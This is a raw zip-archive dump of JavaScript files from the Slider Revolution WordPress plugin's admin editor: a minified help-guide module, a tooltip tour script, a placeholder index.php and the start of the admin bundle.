class="help-directory-top"'),HelpGuide.allHelpPaths=jQuery(e),le(),j=[],T=[],jQuery(".rbm_close").each(function(e){T[e]=jQuery(this)}),c=jQuery("#rbm_slider_api"),S=jQuery("#layeraction_list"),x=jQuery("#rbm_layer_action"),d=jQuery("#add_layer_toolbar_wrap"),A=jQuery("#the_right_toolbar_inner"),g=jQuery("#help_mode_main_title"),function(){for(var e,t,s,i,r=0;r<3;r++)for(t in i=0===r?"slider":1===r?"slide":"layer",e=a.editor_settings[i+"_settings"].addons)e.hasOwnProperty(t)&&(t=t.replace("_addon",""),s="revslider-"+t+"-addon",RVS.SLIDER.settings.addOns.hasOwnProperty(s)&&RVS.SLIDER.settings.addOns[s].enable||HelpGuide.deactivate(t+"_addon"))}(),ee()}()):console.log("help directory error")}else console.log("help directory error")})))}).on("mouseenter",function(){P=!0,w&&(I=!0,ae())}).on("mouseleave",function(){P=!1}).trigger("click"),HelpGuide.toggleHelpAddOn=function(e,t){var s=t?"removeClass":"addClass";HelpGuide.allHelpPaths.find('.help-directory-menu[data-path="'+e+'"]')[s]("help-hide-addon"),le(),D.trigger("click")},HelpGuide.extendHelpAddOns=function(s,i){for(var r=s.length,l=0;l<r;l++){var o=s[l];if(HelpGuide.verifyObject(o))for(var n,c,d,p=o.slug,u=0;u<3;u++)n=o[d=0===u?"slider":1===u?"slide":"layer"],HelpGuide.verifyObject(n)&&((c={})[p]=n,i?(e="",t="extension",ie(c,""),jQuery('.help-directory-menu[data-path="'+d+'_settings"]').find('.help-directory-menu[data-path="addons"]').append(e)):jQuery.extend(!0,a.editor_settings[d+"_settings"].addons,c))}}}else console.log("jQuery not available");function $(){RVS.WIN.trigger("resize")}function ee(){clearTimeout(R),w?(clearTimeout(G),clearTimeout(f),clearTimeout(p),clearTimeout(n),w=!1,I=!1,M=!1,RVS.WIN.off(".helpguide"),l.off(".helpguide").removeClass("help-mode-activated help-mode-active"),jQuery(".help-input-focus").removeClass("help-input-focus"),R=setTimeout(te,500)):(w=!0,D.trigger("click"),tpGS.gsap.set(o,{top:50,left:"auto",right:"100%",bottom:"auto",height:"auto"}),Q.hide(),N.hide(),z.hide(),s.removeClass(he).addClass("help-icon-default").html(s.data("origtext")),l.addClass("help-mode-activated help-mode-active").on("mouseenter.helpguide",Y,ve).on("mouseenter.helpguide",Z,me).on("mouseleave.helpguide",Y+","+Z,ye).on("mouseover.helpguide",".toolbar_selector_icons",se).on("mouseout.helpguide",".toolbar_selector_icons",ae),l.on("click.helpguide",".help-button",pe).on("mouseenter.helpguide",".help-hover",we),f=setTimeout(ke,3e3),RVS.WIN.on("resize.helpguide",ue),ue(),te(!0)),clearTimeout(O),O=setTimeout($,100)}function te(e){y&&y.length&&(e?(g.text(r.instructions),b.show(),y[0].currentTime=0,y[0].play().then(function(){L=!0}).catch(function(e){L=!1}),y.show()):(g.text(r.selectresult),b.hide(),L&&y[0].pause(),y.hide()))}function se(){(I=l.hasClass("help-mode-active"))&&(clearTimeout(p),l.removeClass("help-mode-active"))}function ae(){I&&(l.addClass("help-mode-active"),clearTimeout(p),_e())}function ie(s,a){var l=Object.keys(s),o=l.length,n=o-1;e+="<ul"+a+">";for(var c=0;c<o;c++){var d=l[c],p=s[d],u=HelpGuide.verifyObject(p)||"addons"===d;if(u){var h=u&&p.helpPath;if(h){var f="",_="",m="",v="",y="",g='<i class="material-icons">keyboard_arrow_right</i>',b=!0!==h?r.docs:r.tutorial;if(p.description&&(y='<span class="help-text">'+p.description+"</span>"),p.article&&(_='<span class="basic_action_button longbutton help-article" data-article="'+p.article+'"><i class="material-icons">assignment</i>'+b+"</span>"),p.section)if(Array.isArray(p.section)){m="";for(var k=p.section.length,j=0;j<k;j++)m+='<span class="help-section">'+p.section[j].replace(/\-\>/g,g)+"</span>"}else m='<span class="help-section">'+p.section.replace(/\-\>/g,g)+"</span>";if(p.highlight&&HelpGuide.verifyObject(p.highlight)){var w="",Q="",S="",C="",R=p.dependency_id?' id="revhelp_'+p.dependency_id+'"':"";(v=p.highlight).menu&&(w=' data-menu="'+v.menu+'"'),v.modal&&(Q=' data-modal="'+v.modal+'"'),v.focus&&(S=' data-focus="'+v.focus+'"'),v.scrollTo&&(C=' data-scrollto="'+v.scrollTo+'"'),v.dependencies&&Array.isArray(v.dependencies)&&(C+=" data-dependencies='"+JSON.stringify(v.dependencies)+"'"),v="<span"+R+' class="basic_action_button longbutton help-option"'+w+C+S+Q+'><i class="material-icons">settings</i>'+r.option+"</span>"}if(c===n){for(var T=0;T<i;T++)f+="</li>";i=0}e+='<li class="help-directory-menu help-directory-target" data-path="'+d+'"><div class="help-directory-item"><i class="material-icons">'+t+"</i>"+p.title+'</div><ul><li><div class="help-description">'+m+y+_+v+"</div></li></ul></li>"+f}else{switch(d){case"general_how_to":t="help_outline";break;case"slider_settings":t="settings";break;case"navigation_settings":t="gamepad";break;case"slide_settings":t="burst_mode";break;case"layer_settings":t="layers"}var x=d.replace(/\_/g," ").replace(/\b\w/g,function(e){return e.toUpperCase()});e+='<li class="help-directory-menu" data-path="'+d+'"><div class="help-directory-item"><i class="material-icons help-arrow-down">folder</i><i class="material-icons help-arrow-up">folder_open</i><span>'+x+"</span></div>",i++,ie(p,"")}}}e+="</ul>"}function re(){var e=jQuery(this);return e.html()?e.children("li").not(".help-hide-addon").length:(e.remove(),!1)}function le(){jQuery('.help-directory-menu[data-path="addons"]').each(function(){var e=jQuery(this);e.children("ul").filter(re).length?e.show():e.hide()})}function oe(){j=[],HelpGuide.allHelpPaths.find(".help-directory-target").each(function(e){for(var t="",s=jQuery(this).parents(".help-directory-menu").not(".help-hide-addon").toArray().reverse(),a=s.length,i=0;i<a;i++)t+=s[i].dataset.path+".";j[j.length]=t+this.dataset.path})}function ne(e,t){if("string"==typeof t&&(t=t.split(".")),t.length>1){var s=t.shift();return!!e.hasOwnProperty(s)&&ne(e[s],t)}return!!e.hasOwnProperty(t[0])&&e[t[0]]}function ce(e,t,s){if(!t)return!1;if(s||(s=function(e,t){var s=e.attr("class");if(s){if(-1!==s.search(X))return function(e,t){return e.closest(".slider_general_collector").length?"slider":"nav"}(e);if(-1!==s.search(K)||-1!==t.search("#slide#"))return"slide";if(-1!==s.search(U)||-1!==t.search("#layer#"))return"layer"}return e.closest("#rbm_layer_action").length?"layer":e.closest(".mode__sliderlayout").length?"slider":e.closest(".mode__navlayout").length?"nav":e.closest(".mode__slidecontent").length?"layer":!!e.closest(".mode__slidelayout").length&&"slide"}(e,t)),!s)return!1;var i=-1!==t.indexOf("actions.")&&"actions";if("actions"===i&&(i=function(e){return-1!==e.search(/panorama|whiteboard|beforeafter/)?"addons":"actions"}(t)),0===t.indexOf("#frame#.")&&(i=function(e){return-1!==e.search("explode")&&"addons"}(t)),i||(i="slider"!==s?s:"general",i+="_submodule_trigger",i=jQuery("."+i+".selected").attr("id")),i){"nav"===s&&(s="navigation"),i=function(e,t){switch(t){case"progress":if("navigation_settings"===e)return"progress_bar";break;case"prev_image":return"preview_image";case"holiday_snow":return"snow"}return t}(s+="_settings",i=RVS.F.trim(i).toLowerCase().replace(".","").replace("&","and").replace(/\-/g,"_").replace(/\s/g,"_"));var r=a.editor_settings[s]&&a.editor_settings[s][i];if(r||(i="addons",r=a.editor_settings[s]&&a.editor_settings[s][i]),r){if(h="",function e(t,s,a){if(!h){var i,r=t.helpPath;if(r){i=(r=r.split(",")).length;for(var l=0;l<i;l++)if(RVS.F.trim(r[l])===a){h=s;break}if(h)return}var o=Object.keys(t);i=o.length;for(var n=0;n<i;n++)HelpGuide.verifyObject(t[o[n]])&&e(t[o[n]],s+"."+o[n],a)}}(a.editor_settings[s][i],"",t),h)return["editor_settings."+s+"."+i+h,a.editor_settings[s][i],h];if(t.indexOf("addOns.tpack")>=0){var l=t.split(".");return["editor_settings.slide_settings.addons.transitionpack."+(l=l[l.length-1]),a.editor_settings.slide_settings.addons.transitionpack,"."+l]}}}return!1}function de(e,t,s){var a='<span class="help-button',i="";switch(s&&(a+=" help-button-"+s),a+='" data-path="'+t+'">',s){case"slider":i='<i class=" material-icons">settings</i>';break;case"nav":i='<i class=" material-icons">gamepad</i>';break;case"slide":i='<i class=" material-icons">burst_mode</i>';break;case"layer":i='<i class=" material-icons">layers</i>';break;case"doc":i='<i class=" material-icons">library_books</i>';break;default:i='<i class=" material-icons">help_outline</i>'}return a+=i+"<span>"+e+"</span></span>"}function pe(){var e=this.dataset.path;fe(ne(a,e),e)}function ue(e,t){var s=Math.max(E.height(),C.height()),a=Math.min(RVS.WIN.height()/3,s);J.height(a),J[0].scrollTop=0,J[1].scrollTop=0,J.RSScroll("update")}function he(e,t){return(t.match(/(^|\s)help-\icon-\S+/g)||[]).join(" ")}function fe(e,t){var a=e.highlight,i=e.buttonTitle||e.title;t="general_how_to"!==(t=t.split("."))[0]?t[1].replace("_settings",""):"faq",g.text(i),s.html(t+" "+r.options),v.removeClass(he).addClass("help-icon-"+t),H.html(e.description),z.show(),Q.attr("data-link",e.article).css("display","inline-block"),N.removeAttr("data-menu data-modal data-scrollto data-focus data-dependencies").removeClass(he).addClass("help-icon-"+t).css("display","inline-block"),a?(a.menu&&N.attr("data-menu",a.menu),a.modal&&N.attr("data-modal",a.modal),a.scrollTo&&N.attr("data-scrollto",a.scrollTo),a.focus&&N.attr("data-focus",a.focus),a.dependencies&&Array.isArray(a.dependencies)&&N.attr("data-dependencies",JSON.stringify(a.dependencies))):N.hide(),l.addClass("help-mode-active")}function _e(){p=setTimeout(function(){u||_||P||l.removeClass("help-mode-active")},3e3)}function me(){var e;if(this.className&&-1!==this.className.search("frame_list_title")){var t=jQuery(this).closest(".keyframe_liste").attr("data-frame");if(!t)return;switch(t=t.replace("frame_","")){case"0":e="animation.in.from";break;case"1":e="animation.in.to";break;case"999":e="animation.out.to";break;default:e="animation.keyframe.to"}}else e=this.dataset.evt;this.dataset.helpkey=e,ve.call(this)}function ve(){var e=jQuery(this);if(!e.hasClass("opensettingstrigger")&&!e.hasClass("formcontainer")){clearTimeout(f),clearTimeout(n),jQuery(".help-input-focus").removeClass("help-input-focus");var t,s=this.dataset.helpkey||this.dataset.r;if(s||(s=(t=(t=e).attr("data-select")?jQuery(t.attr("data-select")):t.hasClass("ddTP")?t.prev("select"):t.hasClass("revbuilder-colorpicker")?t.find(".revbuilder-cpicker-component"):t.find("input[data-r]")).attr("data-helpkey")||t.attr("data-r")||""),t&&t.length||(t=e),s=function(e,t){return-1!==t.search("parallax.levels")&&3===(t=t.split(".")).length?t[0]+"."+t[1]:-1!==t.search("info.params")&&4===(t=t.split(".")).length?t[0]+"."+t[1]+"."+t[3]:e.hasClass("added_slide_transition")?"added_slide_transition":-1===t.search(/nav\.|bullets\./)?t:e.closest("#sr_bullets_styles_fieldset, #sr_tabs_styles_fieldset").length?-1===t.search("def")?"navigation.styles":"navigation.styles.default":e.closest("#sl_bullets_styles_fieldset, #sl_tabs_styles_fieldset").length?-1===t.search("def")?"navigation.styles":"navigation.styles.default":t}(t,s)){var a=s;"radio"===this.type&&(a+="."+this.value);var i=ce(t,a,e.attr("data-helproot"));(i||("radio"===this.type&&(i=ce(t,s,e.attr("data-helproot"))),i))&&(m=!0,M=!0,n=setTimeout(function(){if(m)if(clearTimeout(p),D.trigger("click"),_=!0,te(),fe(ne(i[1],i[2].substr(1)),i[0]),e.hasClass("revbuilder-colorpicker")||e.hasClass("tponoffwrap")){var s=e.closest(".tponoffwrap");s.length?s.addClass("help-input-focus"):e.addClass("help-input-focus")}else e.attr("class")&&-1===e.attr("class").search(/bg_alignselector|layer_hor_selector|layer_ver_selector|layer_content_hor_selector|layer_content_ver_selector/)?t.addClass("help-input-focus"):e.addClass("help-input-focus")},500))}}}function ye(){m=!1,_=!1,_e()}function ge(){clearTimeout(p),u=!0}function be(){u=!1,M&&!P&&_e()}function ke(){u||P||(M=!0,be())}function je(){jQuery(this).removeClass(function(e,t){return(t.match(/(^|\s)help-\hover-\S+/g)||[]).join(" ")})}function we(){V&&(V=!1,l.off(".helpguidehover"),jQuery(".help-hover").removeClass("help-hover").each(je))}function Qe(){l.off(".helpguidehover").one("click.helpguidehover",we)}function Se(e,t){var s;clearTimeout(k),we(),"layers"===e?(t||(t="text"),d.addClass("help-hover"),d.addClass("help-hover-"+t)):(s=d.prev().addClass("help-hover"),"slideorder"===e?s.addClass("help-hover-slideorder"):"staticlayers"===e&&s.addClass("help-hover-staticlayers")),V=!0,k=setTimeout(Qe,100)}function Ce(){var e=jQuery(this);e.hasClass("tponoff")?e=e.closest(".tponoffwrap"):e.hasClass("revbuilder-cpicker-component")&&(e=e.closest(".revbuilder-colorpicker")),e.addClass("help-input-focus")}function Re(e){var t,s,a,i,r,l,o,n,c,d,p;switch((e=e.split("::"))[0]){case"layerselected":if(2===e.length&&(p=e[1]),p)for(n=p.split("||"),d="",-1!==(p=n[0]).search("{{")&&(d=" .tp-"+(o=(p=p.split("{{"))[1].split("}}")[0]),p=o),a=n.length,i="",t=0;t<a;t++)t>0&&(i+=", "),s=n[t],d&&(s=s.split("{{")[0]),i+="._lc_type_"+s+d;else i="._lc_";try{l=jQuery(i)}catch(e){l=!1}l&&l.length?(l.hasClass("_lc_content_")&&(l=l.closest("._lc_")),(r=l.filter(".selected")).length||(r=l.eq(0).trigger("click")),c=function(e){for(var t=e[0].className.split(" "),s=t.length;s--;)if(-1!==t[s].search("_lc_type_"))return t[s].replace("_lc_type_","");return!1}(r)):Se("layers",p);break;case"addlayer":Se("layers","text");break;case"addslide":Se("slides");break;case"slideorder":Se("slideorder");break;case"staticlayers":Se("staticlayers");break;default:try{jQuery(e[0]).trigger("click")}catch(e){}}return c}function Te(e){return"true"===e||"on"===e||"false"!==e&&"off"!==e&&e}function xe(e){return"#layer#"===e&&void 0!==RVS.selLayers&&Array.isArray(RVS.selLayers)&&RVS.selLayers.length?void 0!==RVS.S.clickedLayer?lastClickedLayer:RVS.selLayers[0].toString():"#slide#"===e&&void 0!==RVS.S.slideId?RVS.S.slideId:"#frame#"===e&&void 0!==RVS.S.keyFrame?RVS.S.keyFrame:"#action#"===e&&void 0!==RVS.S.actionIdx?RVS.S.actionIdx:e}function Oe(e){if(!(e=JSON.parse(e))||!Array.isArray(e))return!1;for(var t,s,a,i,r,l,o,n,c=e.length,d=0;d<c;d++)if(a=e[d],HelpGuide.verifyObject(a)){if(a.dependency&&a.dependency!==t)continue;for(r=a.path.split("."),i=RVS.SLIDER,l=r.length,s=!1,n=0;n<l;n++){if(o=xe(r[n]),!i.hasOwnProperty(o))return!0;i=i[o]}if(t=i=Te(i),"string"==typeof a.value&&-1!==a.value.search("::")){var p=a.value.split("::");for(l=p.length,n=0;n<l;n++)if(p[n]===i){s=!0;break}}else a.value===i&&(s=!0);if(!s)return a.target&&(B="[value='"+a.target+"']"),He.call(HelpGuide.allHelpPaths.find("#revhelp_"+a.option)),!0}else t=Re(e[d]);return!1}function Ve(){try{this.trigger("click")}catch(e){}}function He(e){e&&e.stopImmediatePropagation(),jQuery(".help-input-focus").removeClass("help-input-focus");var t=jQuery(this),s=t.attr("data-modal"),a=s&&"actions"===s,i=t.attr("data-dependencies");if(a||!i||!Oe(i)){var r,l,o,n=t.attr("data-menu"),d=t.attr("data-focus"),p=t.attr("data-scrollto");s||jQuery.each(T,Ve),n&&function(e){for(var t,s=(e=e.split(",")).length,a=0;a<s;a++)(t=jQuery(RVS.F.trim(e[a]))).hasClass("selected")||("gst_layer_5"===t.attr("id")?Re("layerselected")&&!x.is(":visible")&&t.trigger("click"):"gst_sl_11"===t.attr("id")?(jQuery(".emc_toggle_wrap").removeClass("open"),c.is(":visible")||t.trigger("click")):t.trigger("click"))}(n),d&&function(e){jQuery(".help-input-focus").removeClass("help-input-focus"),jQuery(".lal_group_member.selected").removeClass("selected"),e=e.replace("*wildcard*",B),B=":checked";var t,s,a,i=-1!==e.search("{first}");-1!==e.search("{frame}")?(s=!0,e=e.replace("{frame}","")):-1!==e.search("{keyframe}")&&(t=!0,e=e.replace("{keyframe}","")),i&&(e=e.replace("{first}",""));try{a=jQuery(e)}catch(e){return}t&&!a.length&&(a=jQuery(".add_frame_after").first()),(s||t)&&a.closest(".keyframe_liste").css("z-index","29"),i?a.eq(0).addClass("help-input-focus"):a.each(Ce)}(d),p&&(-1===(r=p).search("{actions}")?(l="offset",o=A):(l="position",o=S,r=r.replace("{actions}","")),(r=jQuery(r).filter(":visible")).length&&(o.scrollTop(0),o.scrollTop(r[l]().top))),a&&i&&Oe(i)}}function Pe(){var e,t,i,o="";if(this.value&&this.value.length>2){e=function(e,t){e=RVS.F.trim(e);for(var s,i,r,l,o,n,c="",d="",p="",u="",h="",f=j.length,_=[],m=0;m<f;m++)if(s=(i=ne(a,j[m])).keywords)for(l=s.length,n=0;n<l;n++){try{o=s[n].search(e)}catch(e){continue}if(-1!==o&&-1===_.indexOf(j[m]))if(_[_.length]=j[m],r=i.buttonTitle||i.title,"general_how_to"===j[m].split(".")[0])c+=de(r,j[m],i.helpPath);else switch(j[m].split(".")[1]){case"slider_settings":d+=de(r,j[m],"slider");break;case"slide_settings":p+=de(r,j[m],"slide");break;case"layer_settings":u+=de(r,j[m],"layer");break;case"navigation_settings":h+=de(r,j[m],"nav")}}return[c,d,h,p,u]}(this.value.toLowerCase());for(var n=1;n<5;n++)e[n]&&(o+=e[n]);o?(i=!0,E.html(o).show(),l.removeClass("help-options-empty")):(E.hide(),l.addClass("help-options-empty")),e[0]?(t=!0,o=e[0],C.html(o).show(),l.removeClass("help-faqs-empty")):(C.hide(),l.addClass("help-faqs-empty"))}if(i||t){s.html(r.helpMode),v.removeClass(he).addClass("help-icon-default"),te(),Q.hide(),N.hide(),q.show(),D.css("visibility","visible");var c=Math.max(E.height(),C.height()),d=Math.min(RVS.WIN.height()/3,c);J.height(d),J[0].scrollTop=0,J[1].scrollTop=0,J.RSScroll("update"),clearTimeout(G),G=setTimeout(function(){J.RSScroll("update")},250)}else q.hide(),D.css("visibility","hidden"),te(!0);z.hide()}});PK�y3\�ƹ�assets/js/modules/index.phpnu�[���<?php // Silence is golden
PK�y3\�t�}p)p)assets/js/modules/tooltip.jsnu�[���/*!

	// ****************************
	// **********  USAGE **********
	// ****************************
	RsTooltips(
	
		true, // initialize the tooltip mode?
		['add_layer', 'change_slides'] // array of tooltips to show and in what order
	
	);

*/

(function() {
	
	
	
	var data,
		shell,
		bodies,
		tipList,
		toolTip,
		tipText,
		section,
		linkButton,
		totalSteps,
		currentTip,
		currentStep,
		currentData,
		currentTarget,
		toolTipWidth,
		rightToolbar;
		
		
	var defaults = [
		
		'back',
		'slides',
		'add_slide',
		'global_layers',
		'slide_order',
		'add_layer',
		'add_layer_text',
		'add_layer_image',
		'add_layer_button',
		'add_layer_shape',
		'add_layer_video',
		'add_layer_audio',
		'add_layer_object',
		'add_layer_row',
		'add_layer_group',
		'add_layer_layerlibrary',
		'add_layer_importlayer',
		'edit_layer_name',
		'duplicate_layer',
		'copy_layer',
		'paste_layer',
		'delete_layer',
		'lock_layers',
		'unlock_layers',
		'hide_highlight_boxes',
		'show_hide_selected',
		'set_all_visible',
		'change_layer_order',
		'layer_selections',
		'undo_redo',
		'device_switcher',
		'help_mode',
		'tooltip_button',
		'quick_style',
		'slider_settings',
		'slider_navigation',
		'slide_settings',
		'layer_settings',
		'shortcode',
		'layout_type',
		'layout_sizing',
		'breakpoints',
		'module_content',
		'auto_rotate',
		'lazy_loading',
		'progress_bar',
		'navigation_arrows',
		'navigation_bullets',
		'navigation_tabs',
		'navigation_thumbs',
		'slide_background',
		'slide_animation',
		'background_filter',
		'slide_duration',
		'slide_link',
		'edit_text',
		'font_size',
		'font_family',
		'font_color',
		'layer_position',
		'layer_animations',
		'layer_hover',
		'responsive_behavior',
		'timeline_preview',
		'save_module',
		'preview_module'

	];
	
	function getData() {
		
		jQuery('<link rel="stylesheet" type="text/css" href="' + RVS.ENV.plugin_url + 'admin/assets/css/tooltip.css" />').appendTo(jQuery('head'));
		RVS.F.ajaxRequest('get_tooltips', {}, function(response) {
			
			if(response.success) {	
				
				try {
					data = JSON.stringify(response.data);
					data = JSON.parse(data);
				}
				catch(e) {
					data = false;
				}
				
				if(data) init();
				else console.log('tooltip ajax error');
					
			}
			else {
				console.log('tooltip ajax error');
			}
			
		});
		
	}
	
	function clonePreviewSave() {
		
		jQuery(this).clone().addClass('tooltip-save-preview').insertAfter(toolTip);
		
	}
		
	function openToolTips() {
		
		jQuery(shell).appendTo(jQuery('#rb_tlw'));
		jQuery('.rs-tooltip-btn').not('.tooltip-link').on('click.tooltips', btnClick);
		jQuery('.rs-tooltip-check').on('click.tooltips', cancelTips);
		jQuery('#rs-tooltip-close').on('click.tooltips', exitTips);
		
		toolTip = jQuery('#rs-tooltip');
		tipText = jQuery('.tooltip-text');
		section = jQuery('.tooltip-section');
		
		toolTipWidth = toolTip.outerWidth();
		linkButton = jQuery('.tooltip-link').on('click.tooltips', openLink);
		
		rightToolbar = jQuery('#the_right_toolbar_inner');
		tipList = window.RsTooltipList || defaults;
		totalSteps = tipList.length;
		currentStep = 0;
		
		bodies = jQuery('body');
		RVS.WIN.on('keydown.tooltips', keyShortcut).on('resize.tooltips', runStep);
		jQuery('.rs-save-preview').each(clonePreviewSave);
		
		runStep();
		
	}
	
	function openLink() {
		
		window.open(this.dataset.href);
		
	}
	
	function closeToolTips() {
		
		jQuery('.tooltip-hide-target').removeClass('tooltip-hide-target');
		jQuery('.tip-clone').remove();
		
		jQuery('.rs-tooltip-btn').off('.tooltips');
		jQuery('.rs-tooltip-check').off('.tooltips');
		jQuery('#rs-tooltip-close').off('.tooltips');
		
		jQuery('#rs-tooltip').remove();
		jQuery('.tooltip-save-preview').remove();
		
		jQuery('body').removeClass('rb-tooltips-active');
		RVS.WIN.off('.tooltips');
		
		linkButton.off('.tooltips');
		
		bodies = null;
		toolTip = null;
		tipText = null;
		section = null;
		currentTip = null;
		linkButton = null;
		rightToolbar = null;
		currentTarget = null;
		
	}
	
	function cleanup() {
		
		cancelAnimationFrame(displayStep);
		
	}
	
	function exitTips() {
		
		cleanup();
		closeToolTips();
		
	}
	
	function cancelTips() {
		
		RVS.F.ajaxRequest('set_tooltip_preference', false, false, true, true);	
		exitTips();
		
	}
	
	function btnClick() {
		
		if(this.id === 'rs-tooltip-next') {
			currentStep++;
			runStep();
		}
		else {
			exitTips();
		}
		
	}
	
	function nextButton() {
		
		var btn = jQuery('#rs-tooltip-next');
		if(!btn.is(':visible')) btn = jQuery('#rs-tooltip-gotit');
		btn.trigger('click');
		
	}
	
	function runStep() {
		
		cleanup();
		currentTip = currentData.tooltips[tipList[currentStep]];
		tipText.html(currentTip.text);
		
		/*
		if(currentTip.section) section.html(currentTip.section).show();
		else section.hide();
		*/
		
		/*
		if(currentTip.link) linkButton.attr('data-href', currentTip.link).text(currentTip.linkText).show();
		else linkButton.hide();
		*/
		
		if(currentStep < totalSteps - 1) toolTip.removeClass('tooltip-gotit');
		else toolTip.addClass('tooltip-gotit');
		
		if(currentTip.trigger) {
			
			let triggers = currentTip.trigger,
				len = triggers.length;
				
			for(let i = 0; i < len; i++) {
		
				let trigger = jQuery(triggers[i]);
				if(trigger.length) {
					
					jQuery(trigger).first().trigger('click');
					
				}
				else {
					
					console.log('tooltip trigger does not exist');
					nextButton();
					return;
					
				}
				
			}
			
		}
		
		currentTarget = jQuery(currentTip.target).first();
		if(!currentTarget.length) {
			
			console.log('tooltip target does not exist');
			nextButton();
			return;
			
		}
		
		rightToolbar.scrollTop(0);
		if(currentTip.scrollTo) {
			
			let scrollTo = jQuery(currentTip.scrollTo).filter(':visible');
			rightToolbar.scrollTop(scrollTo.offset().top - 50);
			requestAnimationFrame(displayStep);
			
		}
		
		requestAnimationFrame(displayStep);
		
	}
	
	function displayStep() {
		
		jQuery('.tooltip-hide-target').removeClass('tooltip-hide-target');
		jQuery('.tip-clone').remove();
		
		var offset = currentTarget.offset(),
			position,
			placer;
		
		toolTip.removeClass(function(i, clas) {return (clas.match (/(^|\s)tip-\S+/g) || []).join(' ');});
		toolTip.addClass('tip-' + currentTip.alignment);
		
		if(currentTip.margin) toolTip.css('margin', currentTip.margin);
		else toolTip.css('margin', 0);
		
		var padding = currentTarget.css('padding'),
			paddingLeft = Math.round(parseInt(currentTarget.css('padding-left'), 10) * 0.25);
			cloned = currentTarget.clone();
					
		cloned.find('input[type="radio"]').each(function() {this.name = this.name + '-tooltip';});
		cloned.addClass('tip-clone').css({top: offset.top, left: offset.left, padding: padding}).insertBefore(toolTip);
		
		if(currentTip.cssClass) cloned.addClass(currentTip.cssClass);		
		if(currentTip.elementcss) {
			
			let css = currentTip.elementcss.split(';'),
				len = css.length;
				
			for(let i = 0; i < len; i++) {
				
				let style = css[i].split(':');
				cloned.css(RVS.F.trim(style[0]), RVS.F.trim(style[1]));
				
			}
			
		}
		
		if(currentTip.placer) {
			
			placer = jQuery(currentTip.placer).first();
			if(placer.length) {
				
				offset = placer.offset();
				
			}
			else {
				
				console.log('tooltip placer does not exist');
				nextButton();
				return;
				
			}
			
		}
		
		var noFocus = currentTip.focus === 'none';
		if(!currentTip.focus || noFocus) {
			
			if(!noFocus) cloned.addClass('tip-focussed');
			if(!placer) placer = currentTarget;
			
		}
		else {
			
			let clas = currentTip.focusClass || 'tip-focussed';
				focussed = cloned.find(currentTip.focus).first().addClass(clas);
				
			if(!focussed.length) {
				
				console.log('tooltip focus does not exist');
				nextButton();
				return;
				
			}	

			if(!placer) {
				placer = focussed;
				offset = placer.offset();
			}
			
		}
		
		position = getPosition(placer, currentTip.alignment);
		toolTip.css({left: offset.left + position.x - paddingLeft, top: offset.top + position.y});
		
		currentTarget.addClass('tooltip-hide-target');
		bodies.addClass('rb-tooltips-active');
		
		if(!currentTip.hidePrevSave) bodies.removeClass('tooltip-hide-preview-save');
		else bodies.addClass('tooltip-hide-preview-save');
		
	}
	
	function getPosition(target, align) {
		
		var xx,
			yy;
		
		switch(align) {
			
			case 'top':
			case 'bottom':
				xx = (Math.round(target.outerWidth() * 0.5) - Math.round(toolTipWidth * 0.5));
			break;
			
			case 'left':
			case 'right':
				yy = -(Math.round(toolTip.outerHeight() * 0.5) - Math.round(target.outerHeight() * 0.5));
			break;
			
			case 'bottom-left':
			case 'top-left':
			case 'right-top':
				xx = -toolTip.width();
			break;
			
			case 'bottom-right':
			case 'top-right':
				xx = target.outerWidth();
			break;
			
		}
		
		switch(align) {
			
			case 'top':
			case 'right-top':
				yy = -(target.outerHeight() + toolTip.height());
			break;
			
			case 'top-left':
			case 'top-right':
				yy = 0;
			break;
			
			case 'bottom':
			case 'bottom-left':
			case 'bottom-right':
				yy = target.outerHeight();
			break;
			
			case 'left':
				xx = -toolTipWidth;
			break;
			
			case 'right':
				xx = target.outerWidth();
			break;
			
		}
		
		return {x: xx, y: yy};
		
	}
	
	function keyShortcut(e) {
		
		if(e.keyCode === 13) nextButton();
		
	}
	
	function init() {
		
		currentData = jQuery.extend(true, {}, data);
		shell = 
	
		'<div id="rs-tooltip">' + 
			'<div id="rs-tooltip-top">' + 
				'<span class="rs-tooltip-text"><span class="tooltip-section"></span><span class="tooltip-text"></span></span>' + 
				'<span class="rs-tooltip-btn tooltip-link" data-href="tooltip-link"></span><span id="rs-tooltip-next" class="rs-tooltip-btn"><i class="material-icons">redo</i>' + currentData.translations.next_tip + '<span class="rs-tooltip-return-icon"></span></span><span id="rs-tooltip-gotit" class="rs-tooltip-btn"><i class="material-icons">thumb_up</i>' + currentData.translations.got_it +'</span>' + 
			'</div>' + 
			'<div id="rs-tooltip-bottom"><div><span class="rs-tooltip-check"></span>' + currentData.translations.hide_tips + '</div></div>' +
			'<span id="rs-tooltip-close"><i class="material-icons">close</i></span>' + 
		'</div>';
		
		var btn = jQuery('.tooltip_wrap'),
			defs = btn.data('tooltip-definitions');
			
		if(defs) {
		
			jQuery.extend(true, currentData.tooltips, defs);
			btn.removeData('tooltip-definitions');
			
		}
		
		jQuery(document).on('start-tooltips', openToolTips);
		btn.data('scriptready', true);
		openToolTips();
		
	}
	
	getData();
	
})();















PK�y3\���&�	�	assets/js/modules/admin.min.jsnu�[���/*!
 * REVOLUTION 6.0.0 BUILDER JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
window.RVS=void 0===window.RVS?{}:window.RVS,RVS.F=void 0===RVS.F?{}:RVS.F,RVS.ENV=void 0===RVS.ENV?{}:RVS.ENV,RVS.LIB=void 0===RVS.LIB?{}:RVS.LIB,RVS.V=void 0===RVS.V?{}:RVS.V,RVS.S=void 0===RVS.S?{}:RVS.S,RVS.C=void 0===RVS.C?{}:RVS.C,RVS.WIN=void 0===RVS.WIN?jQuery(window):RVS.WIN,RVS.DOC=void 0===RVS.DOC?jQuery(document):RVS.DOC,window._R_is_Editor="true"===window._R_is_Editor||void 0,window.RS_EASES={default:"Default",none:"none","power0.in":"power0.in","power0.inOut":"power0.inOut","power0.out":"power0.out","power1.in":"power1.in","power1.inOut":"power1.inOut","power1.out":"power1.out","power2.in":"power2.in","power2.inOut":"power2.inOut","power2.out":"power2.out","power3.in":"power3.in","power3.inOut":"power3.inOut","power3.out":"power3.out","power4.in":"power4.in","power4.inOut":"power4.inOut","power4.out":"power4.out","back.in":"back.in","back.inOut":"back.inOut","back.out":"back.out","bounce.in":"bounce.in","bounce.inOut":"bounce.inOut","bounce.out":"bounce.out",BounceLite:"Bounce Lite",BounceSolid:"Bounce Solid",BounceStrong:"Bounce Strong",BounceExtrem:"Bounce 